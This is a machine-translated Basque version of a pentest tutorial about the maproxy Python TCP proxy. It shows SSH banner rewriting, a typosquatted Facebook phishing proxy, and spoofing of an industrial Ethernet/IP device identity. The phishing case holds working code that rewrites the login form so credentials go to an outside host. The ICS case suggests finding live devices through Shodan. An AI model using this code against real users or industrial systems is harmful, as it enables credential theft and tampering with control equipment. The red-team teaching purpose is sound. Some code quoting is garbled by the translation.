Prozesatu sareko datuak hegan

Ikastaroa hasi bezperan prestatu zen artikuluaren itzulpena β€œPentest. Penetrazio probak egiteko praktika".

Prozesatu sareko datuak hegan

abstraktu

Hainbat segurtasun-ebaluazio motak, ohiko sartze-probak eta Red Team-eko eragiketak, IoT/ICS gailuak eta SCADA hackeatzea, sareko protokolo bitarrekin lan egitea dakar, hau da, funtsean, bezeroaren eta xedearen arteko sareko datuak atzematea eta aldatzea. Sareko trafikoa usnatzea ez da lan zaila, Wireshark, Tcpdump edo Scapy bezalako tresnak baititugu, baina badirudi aldaketak lan gehiago eskatzen duela, sareko datuak irakurtzeko, iragazteko, aldatzeko interfaze mota bat izan beharko baitugu. hegan eta bidali helburuko ostalarira ia denbora errealean. Horrez gain, aproposa litzateke tresna horrek automatikoki hainbat konexio paralelorekin funtzionatuko balu eta script-en bidez pertsonaliza daiteke.

Egun batean, izeneko tresna bat aurkitu nuen maproxy, dokumentazioak azkar argi utzi zidan hori maproxy - Behar dudana besterik ez. TCP proxy nahiko sinplea, polifazetikoa eta erraz konfiguragarria da. Tresna hau hainbat aplikazio nahiko konplexutan probatu nuen, ICS gailuetan barne (pakete asko sortzen dituztenak) konexio paralelo asko kudeatzen zituen ikusteko, eta tresnak ondo funtzionatu zuen.

Artikulu honek sareko datuak hegan erabiliz prozesatzen aurkeztuko zaitu maproxy.

ΠžΠ±Π·ΠΎΡ€

Tool maproxy Tornado-n oinarritzen da, Python-en sare asinkronoen esparru ezagun eta heldu batean.

Oro har, hainbat modutan funtziona dezake:

  • TCP:TCP – zifratu gabeko TCP konexioak;
  • TCP:SSL ΠΈ SSL:TCP – norabide bakarreko enkriptatzearekin;
  • SSL:SSL – bi norabideko enkriptatzea.

Liburutegi gisa dator. Hasiera azkar bat izateko, nagusia islatzen duten adibide-fitxategiak erabil ditzakezu liburutegiko funtzioak:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1. kasua - bi norabideko proxy sinplea

Oinarrituta tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Lehenespenez ProxyServer() bi argumentu hartzen ditu: konexioaren kokapena eta helburuko ataka. server.listen() argumentu bat hartzen du: sarrerako konexioa entzuteko ataka.

Gidoia exekutatzen:

# python tcp2tcp.py

Proba exekutatzeko, tokiko SSH zerbitzari batera konektatuko gara gure proxy script-en bidez, zeinak entzuten duen. 2222/tcp ataka eta ataka estandar batera konektatzen da 22/tcp SSH zerbitzariak:

Prozesatu sareko datuak hegan

Ongietorri pankartak jakinarazten dizu gure adibideko script-ak sareko trafikoa behar bezala proxy egin duela.

2. kasua – datuen aldaketa

Beste demo script bat logging_proxy.py sareko datuekin elkarreragiteko aproposa. Fitxategiko iruzkinek zure helburua lortzeko alda ditzakezun klase-metodoak deskribatzen dituzte:

Prozesatu sareko datuak hegan

Interesgarriena hemen dago:

  • on_c2p_done_read – bezerotik zerbitzarirako bidean datuak atzematea;
  • on_p2s_done_read - alderantziz.

Saia gaitezen zerbitzariak bezeroari itzultzen dion SSH banner-a aldatzen:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Exekutatu gidoia:

Prozesatu sareko datuak hegan

Ikus dezakezunez, bezeroa engainatu egin zen, SSH zerbitzariaren izena aldatu zitzaiolako Β«DumnySSHΒ».

Prozesatu sareko datuak hegan

3. kasua - phishing web orri sinplea

Tresna hau erabiltzeko modu amaigabeak daude. Oraingoan, Talde Gorriaren operazioen aldetik gauza praktikoago batean zentratuko gara. Imita dezagun helmuga orria m.facebook.com eta erabili domeinu pertsonalizatu bat nahita idatzitako akats batekin, adibidez, m.facebok.com. Erakusketa helburuetarako, demagun domeinua guk erregistratuta dugula.

Zifratu gabeko sare konexioa ezarriko dugu gure biktimen proxyarekin eta SSL Streamekin Facebook zerbitzariarekin (31.13.81.36). Adibide honek funtziona dezan, HTTP ostalariaren goiburua ordezkatu eta ostalari-izen zuzena sartu behar dugu, eta erantzunen konpresioa ere desgaituko dugu, edukietara erraz sartu ahal izateko. Azken finean, HTML inprimakia ordezkatuko dugu, Facebook-en zerbitzarien ordez saioa hasteko kredentzialak bidal ditzagun:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/eu/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Laburbilduz:

Prozesatu sareko datuak hegan

Ikus dezakezunez, jatorrizko gunea behar bezala ordezkatu ahal izan dugu.

4. kasua - Ethernet/IP porturatzea

Denbora dezente daramat gailu eta software industrialekin (ICS/SCADA) jorratzen, hala nola, kontroladore programagarriak (PLC), I/O moduluak, unitateak, erreleak, eskailera programatzeko inguruneak eta askoz gehiago. Kasu hau gauza industrialak gustuko dituztenentzat da. Horrelako irtenbideak pirateatzea sareko protokoloekin aktiboki jolastea dakar. Hurrengo adibidean, ICS/SCADA sareko trafikoa nola alda dezakezun erakutsi nahiko nuke.

Horretarako honako hau beharko duzu:

  • Sare sniffer, adibidez, Wireshark;
  • Ethernet/IP edo SIP gailu bat besterik ez, Shodan zerbitzua erabiliz aurki dezakezu;
  • Gure gidoia oinarritzen da maproxy.

Lehenik eta behin, ikus dezagun CIP-ren (Common Industrial Protocol) identifikazio-erantzun tipikoa nolakoa den:

Prozesatu sareko datuak hegan

Gailuaren identifikazioa Ethernet/IP protokoloa erabiliz lortzen da, hau da, CIP bezalako kontrol protokoloak biltzen dituen Ethernet industrialaren protokoloaren bertsio hobetua. Pantaila-argazkian ikusgai dagoen nabarmendutako ID izena aldatuko dugu "NI-IndComm Etherneterako" gure proxy script-a erabiliz. Gidoia berrerabili genezake logging_proxy.py eta era berean klase metodoa aldatu on_p2s_done_read, bezeroan beste identitate-izen bat ikusgai egotea nahi dugulako.

kodea:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Funtsean, bi aldiz eskatu genuen gailuaren identifikazioa, bigarren erantzuna jatorrizkoa izan zen eta lehenengoa hegan aldatu zen.

Eta azkena

Nire ustez maproxy Tresna erosoa eta sinplea, Python-en ere idatzita dagoena, beraz, zuk ere baliatu dezakezula uste dut. Jakina, sareko datuak prozesatzeko eta aldatzeko tresna konplexuagoak daude, baina arreta handiagoa ere eskatzen dute eta erabilera kasu zehatz baterako sortu ohi dira, adibidez. Muraena, Modlishka edo gaiztoa hirugarrenaren antzeko kasuetarako, edo sofa azken kasurako. Modu batera edo bestera, laguntzarekin maproxy sareko datuak atzemateko zure ideiak azkar inplementa ditzakezu, adibideko scriptak oso argiak baitira.

Windows AD-en autentifikazio-mekanismoak probatzea

Iturria: www.habr.com

Gehitu iruzkin berria